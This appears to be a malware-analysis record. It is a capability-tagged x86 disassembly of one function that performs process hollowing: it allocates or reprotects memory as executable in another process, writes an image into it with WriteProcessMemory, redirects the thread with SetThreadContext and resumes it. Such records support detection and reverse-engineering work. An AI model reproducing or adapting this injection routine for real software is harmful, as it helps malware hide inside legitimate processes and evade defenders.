Function at 0x489290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x48948f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
mov edx, dword [ebx + 0x34]
mov eax, dword [ebp - 4]
call fcn.00488dd0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 0xc]
call fcn.00488f50
test al, al
je 0x489471
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x489330
cmp esi, dword [ebp - 0x14]
ja 0x489330
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x48939c
call fcn.00488ccc
test al, al
je 0x48939c
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00488ee4
test al, al
je 0x489361
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [0x49e874]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x48939c
mov eax, ebx
call fcn.00488e50
test al, al
je 0x48939c
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 8]
push eax
call dword [0x49e874]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x48939c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.00488e68
cmp dword [ebp - 0x1c], 0
je 0x48944d
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x489427
mov dword [ebp - 0xec], 0x10007
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x4893fd
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x489403
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x489471
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 8], 0xffffffff
jmp 0x489471
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 8], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489496
lea eax, [ebp - 0xc]
call fcn.00404b00
lea eax, [ebp - 4]
call fcn.00404b00
ret